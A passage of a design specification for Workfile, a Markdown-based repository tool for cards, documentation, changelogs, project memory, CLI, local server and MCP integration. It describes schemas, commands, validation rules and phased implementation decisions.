Network retries now reuse the original invoice instead of creating another one.

Default types:

  • added
  • changed
  • fixed
  • deprecated
  • removed
  • security
  • internal

Visibility:

  • public
  • internal

13.3 Unreleased fragments

Fragments are created under:

.project/changelog/unreleased/

They SHOULD be created in the same change set as the implementation when the result is worth communicating. Trivial internal changes may omit them according to project policy.

13.4 Releases

A release operation:

  1. selects unreleased fragments;
  2. validates their references;
  3. orders and groups them deterministically;
  4. writes a release record;
  5. optionally updates a generated CHANGELOG.md;
  6. moves or marks consumed fragments without losing their IDs;
  7. records the release version and date.

Release record example:

---
id: REL-0017
title: Version 2.4.0
version: 2.4.0
date: 2026-07-28
fragments: [CHG-0091, CHG-0092]
commit: 1a2b3c4
---

Release notes may contain curated introductory text.

Release ids are sequential like every other record id, not derived from the date: changelog.releasePrefix supplies the prefix and defaults to REL. An earlier revision of this example showed REL-2026-07-28, which no release has ever been called.

13.5 Generated changelog

A generated changelog is output, not canonical input. Manual prose may be preserved through explicit managed sections or release records, never by editing generated sections that will be overwritten.

13.6 Card integration

  • Completing a card does not always require a changelog fragment.
  • Public product changes SHOULD reference at least one fragment before becoming done when configured policy requires it.
  • Changelog fragments MAY reference multiple cards.
  • A release can be browsed back to the work, decisions and incidents that produced it.

14. Module: Project memory

14.1 Purpose

Memory stores durable project knowledge that should survive individual conversations and agent sessions. It is not a transcript archive.

A memory record must answer at least one of these questions:

  • What did we decide and why?
  • What did we learn that changes future work?
  • What failed and how do we prevent recurrence?
  • What convention must future contributors follow?
  • What temporary context matters until a known expiry point?

14.2 Memory collections

Learnings

Reusable observations supported by experience.

---
id: LRN-0017
title: Avoid serializing lazy proxies in audit diffs
category: backend
status: active
confidence: high
occurrences: 3
related: [T-0042, INC-0004]
created: 2026-07-20
updated: 2026-07-28
---

Describe the observed pattern, evidence and preferred response.

Statuses: active, graduated, superseded, discarded.

A graduated learning has been converted into a convention, automated check, documentation or code invariant.

Decisions

Architecture and product decisions, compatible with ADR practice.

---
id: ADR-0008
title: Keep protocol data in repository Markdown
status: accepted
deciders: [owner]
supersedes: []
related: [DOC-0012]
created: 2026-07-28
updated: 2026-07-28
---

## Context

## Decision

## Consequences

Statuses: proposed, accepted, rejected, superseded.

Incidents

Operational failures and their prevention.

---
id: INC-0004
title: Deployment marked complete before migrations shipped
severity: high
status: resolved
started_at: 2026-07-26T11:04:00Z
resolved_at: 2026-07-26T14:18:00Z
related: [T-1533, T-1561, LRN-0017]
created: 2026-07-26
updated: 2026-07-28
---

## Impact

## Timeline

## Root cause

## Corrective actions

Statuses: open, mitigated, resolved, closed.

Conventions

Stable rules contributors and agents must follow.

---
id: CONV-0006
title: Verify user-visible changes before closing cards
status: active
scope: [project-wide]
related: [INC-0004]
created: 2026-07-28
updated: 2026-07-28
---

A user-visible card remains in review until verified in a running environment.

Statuses: draft, active, deprecated, superseded.

Context

Temporary project facts with explicit expiry or review.

---
id: CTX-0011
title: Billing migration freeze window
status: active
expires: 2026-08-15
related: [T-0042]
created: 2026-07-28
updated: 2026-07-28
---

Describe the temporary constraint and what should happen at expiry.

Statuses: active, expired, resolved.

Context records SHOULD include expires or review_after. The doctor warns about expired active context.

14.3 Memory quality rules

Memory MUST NOT become a dumping ground for conversation summaries.

A valid memory record SHOULD:

  • contain a stable title and a specific claim;
  • explain evidence or rationale;
  • link to related records or sources;
  • state consequences or future behavior;
  • be updated or superseded when invalidated;
  • avoid credentials, personal secrets and unnecessary sensitive data.

14.4 Graduation

Learnings and incidents should produce stronger artifacts when appropriate:

observation → learning → convention / test / runbook / decision
incident → corrective cards → learning → convention

The UI SHOULD show graduation links and unresolved corrective actions.

15. Sources and traceability

Long-form raw inputs MAY be stored under .project/sources/ and linked by records.

Examples:

  • audits;
  • research dumps;
  • imported issue reports;
  • migration inventories;
  • handoffs;
  • external-system exports.

Rules:

  • sources are snapshots and SHOULD not be rewritten to reflect later execution state;
  • operational state belongs in cards and related records;
  • a source may be marked exhausted after all actionable content is represented elsewhere;
  • source paths are repository-relative;
  • the doctor verifies referenced local paths;
  • imported sources MAY store origin metadata such as URL or external issue ID.

16. Core architecture

16.1 Layers

Configuration and schemas
          ↓
Workspace and filesystem adapters
          ↓
Module repositories and domain services
          ↓
Validation, indexing and relationship graph
          ↓
CLI / HTTP API / MCP adapters
          ↓
Local UI and generated agent instructions

Dependencies point downward only. The UI MUST NOT contain canonical business rules that the core does not enforce.

16.2 Public core API

The package exposes a documented programmatic API. Every name below is resolved against the built package by "no doc imports a name the package does not export" in test/documentation.test.ts, so this block cannot drift from what ships without failing the suite.

export {
    defineProject,
    loadWorkspace,
    initializeProject,
    applyLegacyMigration,
    buildProjectIndex,
    runDoctor
} from "@illodev/workfile";

export type {
    ProjectConfig,
    ProjectWorkspace,
    ProjectRecord,
    CardRecord,
    DocumentRecord,
    ChangeRecord,
    MemoryRecord,
    DoctorReport
} from "@illodev/workfile";

Module operations are free functions taking a workspace, not repositories hanging off one. ProjectWorkspace carries the configuration, the resolved paths, the effective schema and the declared integrations — it exposes no methods, and a caller reaches every operation through the functions below rather than through a raw file write:

const { cards } = await loadCards(workspace);
await createCard(workspace, input);
await patchCard(workspace, id, changes, { actor });
await claimCard(workspace, id, { actor, scope });
await transitionCard(workspace, id, status, { actor });
const { documents } = await loadDocuments(workspace);
await createChangeFragment(workspace, input);
await createMemoryRecord(workspace, collection, input);
searchProjectRecords(records, query, { kinds, limit });

searchProjectRecords takes records rather than a workspace because ranking is pure: the caller decides what corpus is eligible, which is what lets the CLI, the HTTP API and MCP share one ranking over different candidate sets.

Subpath exports group the same functions by module — @illodev/workfile/cards, /docs, /changelog, /memory, /records, /search, /agents, /ci, /core, /server, /mcp, /init, /migration, /claude, /integrations — and the root re-exports all of them.

16.3 Filesystem adapter

All canonical writes MUST:

  1. resolve and validate paths inside the workspace;
  2. read the latest on-disk version;
  3. validate the intended mutation;
  4. write to a temporary file in the same filesystem;
  5. atomically rename into place where supported;
  6. preserve the body and unknown compatible fields;
  7. update semantic timestamps;
  8. invalidate affected indexes;
  9. return the normalized saved record.

Direct writeFile calls outside the filesystem adapter are forbidden in protocol modules.

16.4 Optimistic concurrency

Mutation APIs SHOULD accept a revision token derived from file content or metadata:

interface MutationOptions {
    expectedRevision?: string;
}

If the file changed after the client loaded it, the mutation returns a conflict rather than silently overwriting another human or agent.

16.5 Unknown fields

The parser MUST preserve unknown frontmatter fields during edits unless they are invalid or belong to an unsupported future schema version. This permits compatible extensions and safe round trips.

17.1 Cache

The default derived index is stored at:

.project/.cache/index.sqlite

The exact engine is an implementation detail. It MAY initially be an in-memory index with a JSON cache, provided the public behavior is stable.

17.2 Indexed data

The index may contain:

  • normalized record metadata;
  • full-text document content;
  • outgoing and incoming references;
  • hierarchy and dependency edges;
  • source paths;
  • file fingerprints;
  • validation summaries;
  • optional embeddings.

17.3 Rebuildability

Deleting .project/.cache/ MUST NOT lose canonical data. workfile doctor --rebuild-cache recreates it from repository files.

17.4 Search syntax

A common query language should serve CLI and UI:

payment retry
area:billing status:doing
kind:decision tag:architecture
related:T-0042
path:docs/fiscal
-type:idea
"exact phrase"

Unknown field tokens should produce a helpful warning rather than being silently interpreted as free text.

Semantic search is optional and disabled by default. When enabled:

  • embeddings are derived state;
  • the provider and data boundary are explicit;
  • local providers are supported where practical;
  • repository content is never sent externally without user configuration;
  • results always link back to canonical files.

18. Validation and workfile doctor

18.1 Command

workfile doctor
workfile doctor --json
workfile doctor --severity error
workfile doctor --new
workfile doctor --accept-baseline
workfile doctor --fix

--fix only applies deterministic, reversible fixes. It MUST show a plan unless --yes is provided.

18.2 Severity

  • error — invalid canonical state or unsafe operation; non-zero exit.
  • warning — likely inconsistency or stale state; configurable CI behavior.
  • info — recommendation or maintenance opportunity.

18.3 Cross-module checks

The doctor validates at least:

  • configuration and schema version;
  • required fields and enums;
  • IDs, filenames and duplicate identity;
  • parser round-trip stability;
  • hierarchy depth and cycles;
  • broken strict references;
  • missing source paths;
  • date and range validity;
  • claim coherence and stale claims;
  • overlapping active scopes;
  • archived record eligibility;
  • unchecked acceptance criteria on completed cards;
  • card-declared commands outside the project's allowlist, which is the only check a card arriving as a file in a diff ever meets;
  • a completed card verified by a method its area no longer accepts, and a verification policy naming an area the project no longer declares;
  • expired active context;
  • superseded records still marked active;
  • missing release fragments where required by policy;
  • stale managed documentation heuristics;
  • orphaned asset directories;
  • generated agent instructions out of sync;
  • frontmatter keys whose shape the codec cannot rewrite, on any kind of record, so that a header a write would be refused on is found by looking rather than by the refusal;
  • uncommitted schema migrations where detectable.

Duplicate identity has a repair contract, because sequential IDs are allocated by scanning the local maximum and two clones therefore mint the same one independently. Filenames carry a title slug, so both files merge without a conflict and the collision surfaces only in the doctor.

  • A duplicate is healed by moving the losing record to a free ID in its own sequence. The surviving record keeps the ID and keeps every reference already written to it.
  • The survivor MUST be chosen deterministically, so two clones repairing the same collision converge without coordinating. Comparisons MUST order by code unit rather than by locale.
  • A record that has been published MUST NOT move. A released changelog fragment is frozen when its release is cut, and renumbering it would rewrite history that has shipped.
  • A collision the tool declines to heal MUST be reported with the reason it declined, and MUST NOT name a command that cannot perform the repair.

18.4 Baseline mode

--accept-baseline records the current issues as known, and --new then exits non-zero only on issues that appeared since. This is the adoption path for an existing repository and the recommended CI gate.

A per-diff mode was specified here for a long time and never built. It is not planned: rule evaluation is 3–5% of the command's cost at every measured scale — the rest is reading the corpus, which a scoped run cannot skip and which is cold in CI regardless, since the cache directory is not committed. Several rules are also global by nature (a stale claim, an expired context, a duplicate id), so a run scoped to touched records would report them only after the merge that made them matter.

18.5 Rule registry

Rules implement a shared interface:

interface DoctorRule {
    id: string;
    modules: string[];
    run(context: DoctorContext): Promise<DoctorIssue[]>;
    fix?: (issue: DoctorIssue, context: FixContext) => Promise<FixResult>;
}

Project-specific rules use namespaced IDs.

19. CLI

19.1 Entry points

workfile init
workfile schema
workfile doctor
workfile upgrade
workfile version
workfile ui
workfile card
workfile doc
workfile changelog
workfile memory
workfile agents
workfile ci
workfile claude
workfile migrate
workfile mcp
workfile search

Running workfile with no subcommand starts the UI. Nothing in configuration disables that: the command word defaults to ui before any config is read.

19.2 Initialization

pnpm dlx @illodev/workfile init

The initializer:

  1. discovers the repository and package manager;
  2. detects monorepo workspaces and likely areas;
  3. finds existing documentation paths;
  4. asks which modules to enable;
  5. asks which agent environments are used;
  6. proposes paths and previews changes;
  7. creates configuration and protocol directories;
  8. writes .project/VERSION;
  9. updates .gitignore for cache only;
  10. optionally adds package scripts;
  11. optionally imports an existing v1 backlog;
  12. runs the doctor and prints next steps.

It MUST NOT overwrite existing files without confirmation or an explicit merge strategy.

19.3 Suggested package scripts

{
    "scripts": {
        "project": "workfile ui",
        "project:doctor": "workfile doctor",
        "project:agents": "workfile agents sync"
    }
}

The package manager prefix is detected; the protocol itself does not require these aliases.

19.4 Card commands

workfile card list
workfile card show T-0042
workfile card create
workfile card patch T-0042 --json-input changes.json
workfile card claim T-0042 --scope apps/api
workfile card release T-0042
workfile card transition T-0042 review
workfile card archive T-0042
workfile card reopen T-0042

Machine-oriented usage supports JSON input and output:

workfile card create --json-input card.json --json

19.5 Documentation commands

workfile docs list
workfile docs create --kind architecture
workfile docs show DOC-0012
workfile search "billing retry" --kind doc

19.6 Changelog commands

workfile changelog add
workfile changelog list --unreleased
workfile changelog release 2.4.0
workfile changelog render
workfile changelog verify

19.7 Memory commands

workfile memory add learning
workfile memory add decision
workfile memory add incident
workfile memory add convention
workfile memory add context
workfile memory list --query "deployment verification"
workfile memory supersede ADR-0008
workfile memory graduate LRN-0017 --to CONV-0001

19.8 Exit codes

  • 0 success;
  • 1 validation or expected command failure;
  • 2 invalid usage or configuration;
  • 3 write conflict;
  • 4 migration required;
  • other codes reserved for documented fatal errors.

20. Local server and HTTP API

20.1 Server behavior

workfile ui
  • serves the precompiled UI and JSON API from one local process;
  • binds to 127.0.0.1 by default;
  • selects configured port or a free alternative when allowed;
  • prints the workspace and URL;
  • may open the browser;
  • watches canonical files and updates clients;
  • never assumes the package is located inside the project tree.

20.2 API shape

Versioned endpoints use /api/v2:

GET    /api/v2/workspace
GET    /api/v2/schema
GET    /api/v2/records
GET    /api/v2/records/:id
POST   /api/v2/cards
PATCH  /api/v2/cards/:id
POST   /api/v2/cards/:id/claim
POST   /api/v2/cards/:id/transition
POST   /api/v2/cards/bulk
GET    /api/v2/docs
GET    /api/v2/changelog
GET    /api/v2/memory
GET    /api/v2/search
GET    /api/v2/health
POST   /api/v2/index/rebuild

Module-specific routes may supplement the common record API.

20.3 Schema endpoint

The UI MUST obtain effective vocabularies and module capabilities at runtime:

{
    "schemaVersion": 2,
    "modules": {
        "cards": true,
        "docs": true,
        "changelog": true,
        "memory": true
    },
    "cards": {
        "statuses": ["backlog", "next", "doing", "review", "blocked", "deferred", "done", "discarded"],
        "types": ["epic", "idea", "feature", "bug", "task", "audit", "docs", "chore"],
        "priorities": ["critical", "high", "medium", "low"],
        "areas": ["api", "web", "infra", "docs"]
    }
}

The UI MUST NOT compile project-specific areas or collections into its TypeScript bundle.

20.4 API errors

Errors use a stable structure:

{
    "error": {
        "code": "CARD_WRITE_CONFLICT",
        "message": "The card changed after it was loaded.",
        "details": {}
    }
}

21. User interface

21.1 Information architecture

The primary navigation groups the product by user intent:

Work
├── Explorer
├── Triage
├── Flow
├── Epics
└── Timeline

Knowledge
├── Docs
├── Memory
└── Search

History
├── Changelog
└── Releases

System
└── Health

Exact visual navigation may use tabs, sidebar or command palette, but these concepts remain separate.

21.2 Shared behaviors

  • global search across enabled modules;
  • bookmarkable URL state;
  • light and dark themes;
  • keyboard navigation;
  • accessible drawers and dialogs;
  • local editor deep links;
  • relationship and backlink panels;
  • optimistic updates with conflict recovery;
  • file-change refresh without erasing unsaved edits;
  • clear read-only versus editable state;
  • useful empty states when a module is disabled or uninitialized.

21.3 Work views

The existing concepts remain:

  • Explorer: virtualized table, facets, sorting and bulk mutation;
  • Triage: one-card prioritization queue with keyboard shortcuts;
  • Flow: execution board with drag-and-drop transitions;
  • Epics: hierarchy and child progress;
  • Timeline: optional scheduling view;
  • card drawer: metadata, Markdown body, relationships and assets.

21.4 Docs view

The Docs view provides:

  • source/collection tree;
  • full-text search;
  • Markdown rendering;
  • metadata and freshness status;
  • incoming and outgoing links;
  • related work and decisions;
  • open-in-editor action;
  • optional managed-document editing after MVP.

21.5 Changelog view

The History view provides:

  • unreleased fragments;
  • release groups;
  • public/internal visibility filters;
  • linked cards and decisions;
  • release preparation preview;
  • rendered output preview;
  • validation before release.

21.6 Memory view

The Memory view provides:

  • collection filters;
  • active/superseded/expired states;
  • relationship graph or backlinks;
  • learning occurrence and confidence metadata;
  • decision chains;
  • incident corrective actions;
  • graduation and supersession actions.

21.7 Health view

Health renders the exact doctor report, supports severity filtering and links issues to their records and files. It MUST not implement a separate set of validation rules.

22. Agent protocol

22.1 Canonical instructions

The source instruction set lives under:

.project/agents/protocol.md
.project/agents/workflows/*.md

Adapters generate concise compatible instructions for:

AGENTS.md
CLAUDE.md
.cursor/rules/workfile.mdc
.github/copilot-instructions.md

Generated blocks include a version marker and MUST be replaceable without overwriting unrelated user content.

22.2 Core obligations

A protocol-aware agent MUST:

  1. inspect relevant project records before beginning substantial work;
  2. create cards in the same session when actionable pending work is discovered;
  3. claim a card before modifying its scope;
  4. check active claims and overlapping scopes;
  5. keep the card updated while working;
  6. clear claims when active work stops;
  7. use review until verification supports done;
  8. record durable decisions, incidents or learnings when they change future behavior;
  9. add changelog fragments when project policy requires them;
  10. never place credentials or unnecessary sensitive information in workfile memory;
  11. run relevant doctor checks before finishing;
  12. prefer CLI or MCP mutations over hand-written frontmatter.

22.3 Agent context budget

Agents SHOULD load the smallest relevant context:

  • one card and its relationship neighborhood;
  • scoped docs and decisions;
  • active conventions;
  • unresolved incidents relevant to the paths;
  • non-expired context.

The protocol MUST not encourage injecting the entire workfile memory into every prompt.

22.4 Instruction synchronization

workfile agents sync
workfile agents check

sync regenerates managed instruction blocks. check fails when generated blocks are stale relative to the installed protocol version or project configuration.

23. MCP and tool adapters

MCP is an adapter over core services, not a second implementation.

The tool catalogue is not restated here. docs/mcp.md documents every shipped tool with its parameters and reply shape, and workfile mcp inspect prints the same list from the definitions the server answers tools/list with. An earlier revision of this section listed fourteen recommended tools in a verb-first naming scheme. The server shipped noun-first in 0.1.0 and grew past it, so from the first release until this was corrected the normative document named thirteen tools no client could call. A second copy of a catalogue is only right until one of them moves.

Tools are named project_<module>_<operation> — the module first, so a client listing them reads them grouped: project_card_list, project_card_claim, project_doc_create, project_memory_add. Operations that answer for any record type drop the module: project_search, project_next, project_get_record, project_workspace, project_doctor.

Rules:

  • all writes use the same validation and concurrency behavior as CLI;
  • tools return stable machine-readable errors;
  • mutating tools report changed files;
  • tool descriptions include protocol semantics, especially review versus done;
  • the server may expose MCP over stdio first; network transports are optional later.

24. Security and safety

24.1 Path safety

  • all local paths are normalized and checked against workspace boundaries;
  • symlink escapes are rejected for writes;
  • asset and document routes reject traversal;
  • external read-only sources require explicit configuration;
  • arbitrary file serving is prohibited.

24.2 Local server

  • loopback binding is default and recommended;
  • non-loopback binding requires an explicit flag and warning;
  • no authentication is required for loopback MVP;
  • remote binding requires authentication before being considered supported.

24.3 Content safety

  • Markdown rendering sanitizes unsafe HTML;
  • external links are clearly marked and opened safely;
  • vscode:// or editor links are opt-in/configurable;
  • uploaded filenames and MIME handling are defensive;
  • executable attachments are not launched by the server.

24.4 Sensitive data

The doctor SHOULD detect likely secrets in protocol records through optional integration with existing secret scanners. The protocol itself does not store credentials.

25. Schema versioning and migrations

25.1 Version declaration

project.config.mjs and .project/VERSION declare the schema version. A mismatch is an error requiring reconciliation.

Example .project/VERSION:

{
    "schemaVersion": 2,
    "createdWith": "@illodev/workfile@2.0.0",
    "migratedAt": "2026-07-28T10:00:00Z"
}

25.2 Compatibility

  • patch package releases do not change canonical schema;
  • minor package releases may add optional backward-compatible fields or commands;
  • schema-breaking changes require a new schema version and migration;
  • newer unsupported schema versions are opened read-only where possible;
  • unknown compatible fields are preserved.

25.3 Migration behavior

workfile migrate plan
workfile migrate apply

Migrations:

  1. inspect current state;
  2. produce a human-readable plan;
  3. create a Git-friendly backup or require a clean worktree;
  4. apply deterministic file changes;
  5. run the doctor;
  6. report every changed path;
  7. update version metadata only after successful validation.

No migration deletes historical records by default.

26. Migration from Unified Backlog System v1

The existing implementation is treated as a supported legacy source.

26.1 Legacy layout

.planning/backlog/
├── tasks/
├── archive/
├── assets/
├── board/
└── SPEC.md

.planning/changelog/
.planning/learnings/
.planning/sources/

26.2 Migration mapping

v1 v2
.planning/backlog/tasks/ .project/cards/
.planning/backlog/archive/ .project/cards/archive/
.planning/backlog/assets/ .project/assets/
.planning/changelog/ .project/changelog/ or configured source
.planning/learnings/ .project/memory/learnings/
.planning/sources/ .project/sources/
v1 board source installed npm package; removed after verification
fixed Fube areas configured cards.areas

26.3 Compatibility-first approach

The migrator SHOULD support two strategies:

In-place compatibility

Keep existing paths and generate configuration pointing to them. This minimizes the first diff and allows the package architecture to be validated before moving data.

Canonical relocation

Move records to .project/ with Git-aware renames and rewrite affected relative links.

The default recommendation is:

  1. install the package;
  2. use existing v1 paths through config;
  3. validate feature parity;
  4. relocate records in a later dedicated migration.

26.4 Code extraction plan

The existing implementation should be transformed in this order:

  1. move parser, serializer and diagnostic logic into src/core;
  2. introduce loadWorkspace() and configuration-driven paths;
  3. replace server-relative constants with workspace services;
  4. move all canonical writes behind repositories and atomic filesystem operations;
  5. add runtime schema endpoint;
  6. remove project-specific enums from the UI bundle;
  7. package prebuilt UI assets;
  8. generalize Knowledge into configured Docs, History and Memory collections;
  9. add CLI initialization and migrations;
  10. generate agent instructions;
  11. add MCP only after core contracts stabilize.

26.5 Required parity before deleting v1 board code

  • all existing cards load without semantic change;
  • parser round-trip tests remain byte-stable;
  • create, patch, bulk patch, claim, archive and asset upload work;
  • Explorer, Triage, Flow, Epics, Timeline and Health remain functional;
  • changelogs and learnings remain discoverable;
  • existing URLs have an equivalent or redirect where practical;
  • doctor output is equal or stricter with documented changes;
  • no v1 source directory is deleted automatically.

27. Extensibility

27.1 Internal module contract

interface ProjectModule {
    id: string;
    version: number;
    collections: CollectionDefinition[];
    load(workspace: ProjectWorkspace): Promise<ModuleRuntime>;
    doctorRules?: DoctorRule[];
    routes?: RouteDefinition[];
    cli?: CommandDefinition[];
    ui?: UiModuleManifest;
    agentInstructions?: InstructionFragment[];
}

Version 2 uses this contract internally. Third-party npm modules are not a public stability promise until the contract has been validated by real modules.

27.2 Namespacing

Extensions use namespaced IDs and fields:

acme/risk
acme.compliance_level

Core serializers preserve them. Portable UI may display unknown fields generically.

27.3 External adapters

Adapters may connect GitHub, GitLab, Jira, Linear, Slack or deployment systems. They MUST state which side is authoritative and how conflicts are resolved.

No adapter may silently convert the repository into a non-authoritative cache.

28. Performance requirements

The MVP target workspace contains:

  • 10,000 cards;
  • 10,000 documentation and memory records combined;
  • 5,000 changelog fragments and releases;
  • ordinary Markdown bodies up to 1 MB;
  • assets excluded from full-text indexing unless supported.

Targets on a typical developer machine after warm index:

  • initial UI metadata response under 1 second for 10,000 cards;
  • common filtered search under 150 ms;
  • single-record mutation under 250 ms excluding filesystem contention;
  • incremental reindex of one changed Markdown file under 200 ms;
  • UI remains responsive through virtualization or incremental rendering.

Cold scans may exceed these targets but SHOULD stream progress and cache results.

29. Testing strategy

29.1 Core tests

  • parser and serializer inverse properties;
  • unknown-field preservation;
  • ID allocation under concurrent requests;
  • atomic write recovery;
  • path traversal and symlink escapes;
  • hierarchy and relationship validation;
  • migration fixtures;
  • schema compatibility fixtures;
  • module repository behavior.

29.2 CLI tests

  • workspace discovery;
  • non-interactive JSON mode;
  • initializer merge safety;
  • exit codes;
  • dirty worktree migration behavior;
  • package-manager detection.

29.3 Server tests

  • versioned endpoints;
  • conflict responses;
  • static UI and asset serving;
  • input size limits;
  • Markdown sanitization;
  • runtime schema delivery.

29.4 UI tests

  • large dataset navigation;
  • filters and URL state;
  • edit conflict recovery;
  • unsaved-form protection on refresh;
  • keyboard and accessibility flows;
  • module-disabled states;
  • relationship navigation.

29.5 Golden project fixtures

The repository SHOULD include fixtures for:

  • empty project;
  • cards-only project;
  • full v2 project;
  • legacy v1 project;
  • corrupted project with expected doctor output;
  • future-schema read-only project.

30. CI integration

Recommended workflow:

workfile doctor --new
workfile agents check
workfile changelog verify

Optional full validation on protected branches:

workfile doctor --severity warning
workfile changelog verify
workfile memory verify

CI MUST not require starting the UI.

31. Observability

The local server may emit structured debug logs when enabled:

time, level, operation, module, recordId, durationMs, changedPaths

Default output remains quiet and human-readable. Telemetry is disabled by default.

Doctor reports and migration plans are reproducible artifacts suitable for CI upload.

32. MVP definition

Version 2 MVP is complete when all of the following are true:

Core and configuration

  • one npm package exposes the CLI and programmatic core;
  • workspace discovery and project.config.mjs work;
  • schema versioning and .project/VERSION work;
  • all paths are configuration-driven;
  • writes are atomic and preserve unknown fields.

Work

  • feature parity with the existing card system;
  • runtime-configured areas;
  • atomic claim and transition commands;
  • cards remain readable and editable as Markdown.

Docs

  • configured Markdown sources are indexed and searchable;
  • managed documents can be created through core/CLI;
  • UI can browse and render documents with backlinks.

History

  • changelog fragments can be created, browsed and validated;
  • release records can consume fragments;
  • generated changelog preview is available.

Memory

  • learning, decision, incident, convention and context records load;
  • records can be created through core/CLI;
  • supersession, expiry and relationships are validated;
  • UI can browse and search all collections.

System

  • unified search works across modules;
  • Health renders shared doctor results;
  • initializer and v1 compatibility migration exist;
  • canonical agent instructions and at least AGENTS.md adapter exist;
  • CI commands work without UI dependencies.

MCP, semantic search, remote adapters and public plugins are not required for MVP.

33. Implementation phases

Phase 0 — Lock contracts

  • approve this spec;
  • choose final project/package name;
  • settle default paths and config shape;
  • add golden fixtures from the existing v1 implementation.

Phase 1 — Core extraction

  • create package skeleton;
  • extract parser, serializer, loader and doctor;
  • add workspace/config services;
  • implement atomic writes and revision tokens;
  • keep current UI temporarily connected through a compatibility server.

Phase 2 — Portable Work module

  • configuration-driven areas and paths;
  • CLI card operations;
  • runtime schema endpoint;
  • precompiled UI package;
  • v1 compatibility configuration;
  • parity tests.

Phase 3 — Docs and unified index

  • glob discovery;
  • common record index and search;
  • Docs UI;
  • backlinks and freshness checks;
  • managed document CLI.

Phase 4 — History and Memory

  • changelog fragments and releases;
  • memory collection schemas;
  • History and Memory UI;
  • graduation, supersession and expiry checks.

Phase 5 — Initialization and agents

  • interactive/non-interactive initializer;
  • agent protocol generator;
  • adapters for selected environments;
  • CI templates;
  • migration plan/apply commands.

Phase 6 — Integrations

  • MCP server;
  • semantic search option;
  • external tracker and deployment adapters;
  • evaluate public plugin API.

34. Phase 0 decisions

The following decisions are locked for the v2 implementation. Changes require a dated amendment and, when they affect canonical files, an explicit schema compatibility analysis.

  1. Product and CLI — the technical product name is Workfile; the formal standard remains Repository Workfile. The executable is workfile.
  2. Default root — canonical managed data uses .project/. Every path remains configurable to support compatibility and specialized repositories.
  3. Package scope — the initial package is @illodev/workfile. The package is internally modular but ships as one release unit through the v2 MVP.
  4. Canonical language — the whole protocol surface is English: normative specifications, field names, enum values, diagnostic codes, machine contracts, UI labels, generated instructions and record bodies. Localization was offered through config.language until 0.6.x and removed in ADR-0012; the key is accepted and ignored so existing configurations keep loading.
  5. Card statuses — the existing eight statuses are fixed protocol semantics in schema v2. Projects may hide statuses from selected views but may not remove or redefine them.
  6. Managed Docs UI — indexed and managed documents are read-only in the MVP UI. Managed documents can be created and updated through core and CLI. In-UI document editing is deferred until conflict handling has proven stable on cards.
  7. Release model — release identifiers are project-configurable. Semver is the default; calendar/date releases are supported. The selected strategy is declared in configuration and may not be inferred differently by CLI, UI and CI.
  8. ID allocation — MVP allocation scans active and archived IDs, proposes the next sequence and exclusively creates a transient ID reservation under the disposable cache before writing the slugged record file. A collision causes a bounded retry with the next sequence. No canonical counter file is introduced in schema v2. Stale reservations are diagnosable and recoverable.
  9. Derived index — Phase 1 starts with an in-memory index behind an IndexStore contract. The MVP persistent implementation is disposable SQLite under .project/.cache/. Canonical behavior must not depend on SQLite being present or intact.
  10. Agent instruction ownership.project/agents/protocol.md and workflow files are the canonical instruction source. Root/editor files contain generated, replaceable managed blocks and may also contain unrelated human-maintained instructions.
  11. v1 migration — compatibility-path adoption is the default. Canonical relocation to .project/ is a separate explicit migration after functional parity is verified.
  12. Publication — development begins as a private package. Publication and license are product-governance decisions and do not block or alter the v2 technical contracts.

34.1 Phase 0 acceptance criteria

Phase 0 is complete when:

  • this RC is accepted as the implementation contract;
  • the legacy v1 implementation is preserved as a golden fixture;
  • default configuration and effective schema fixtures exist;
  • parser round-trip and doctor parity tests run outside the legacy board directory;
  • Phase 1 code no longer imports paths or enums from the Fube repository layout.

35. Locked implementation defaults

Unless amended, implementations use these defaults:

Product:             Workfile
Package:             @illodev/workfile
CLI:                 project
Schema:              2
Root:                .project/
Config:              project.config.mjs
Canonical language:  English, with no localized surface
Index:               in-memory first; disposable SQLite for MVP
Migration:           compatibility paths first
Instructions:        .project/agents/protocol.md is canonical

The following original design recommendations remain in force:

  1. One npm package for the v2 MVP, with internal boundaries suitable for later extraction.
  2. Markdown as canonical storage and a disposable local index.
  3. Project-specific areas are supplied at runtime by configuration.
  4. Docs index existing files and manage optional protocol-owned documents.
  5. Changelog uses atomic fragments plus release records.
  6. Memory is split into learnings, decisions, incidents, conventions and expiring context.
  7. CLI/core operations are authoritative; prompts only explain how to invoke them.
  8. MCP is built after the core API stabilizes.
  9. The local UI remains one precompiled application served by the package.

36. Phase 6 integration decisions

  1. MCP transport — schema-v2 ships a local stdio server. Messages are UTF-8, newline-delimited JSON-RPC. Streamable HTTP is deferred until authentication, Origin validation and deployment-specific authorization have a concrete remote-use case.
  2. Protocol revisions — the server is dual-era. Modern requests implement revision 2026-07-28 with per-request metadata, server/discover, stateless operation, resultType and cache metadata. Legacy clients may negotiate 2025-11-25 and the implementation's declared earlier revisions through initialize.
  3. Shared domain core — MCP tools call the same core mutations as CLI and HTTP. No MCP handler may write canonical files directly.
  4. Safety mode — MCP can be started read-only. Mutating tools are omitted from discovery and direct mutation calls fail with a stable protocol result.
  5. Resources and prompts — canonical records are readable through project:// resources. Start-work, finish-work and record-knowledge prompts are protocol adapters, not separate sources of project truth.
  6. Semantic search — lexical search remains the built-in deterministic default. Semantic ranking is accepted only through an explicitly injected provider. The package never sends repository content to a network service by itself.
  7. Integration API — the 0.6 integration registry is experimental and limited to approved semantic search and health adapters. It must mature from real usage before becoming a general plugin ABI.
  8. Vendor adapters — issue tracker and deployment-provider adapters are deferred. Their credentials, remote identity and synchronization semantics are not canonical schema-v2 concerns.
  9. Publication governance — technical packaging is prepared, but the package remains private: true and UNLICENSED until the owner makes the publication and license decision recorded as open in Phase 0.

37. Amendment log

  • 2026-07-28 RC2 — Locked the dual-era local MCP stdio contract (2026-07-28 modern semantics plus legacy initialization compatibility), explicit read-only behavior, host-injected semantic search and the intentionally narrow experimental integration API.
  • 2026-07-28 RC1 — Locked Phase 0 technical contracts: product/package names, .project/ root, fixed statuses, read-only Docs MVP UI, release strategy, collision-safe transient ID reservation, staged index implementation, canonical agent instructions and compatibility-first migration.
  • 2026-07-28 DRAFT — Initial v2 draft derived from Unified Backlog System v1 and expanded into a portable repository operating protocol covering Work, Docs, History and Memory.

Generated from packages/workfile/docs/SPEC.md.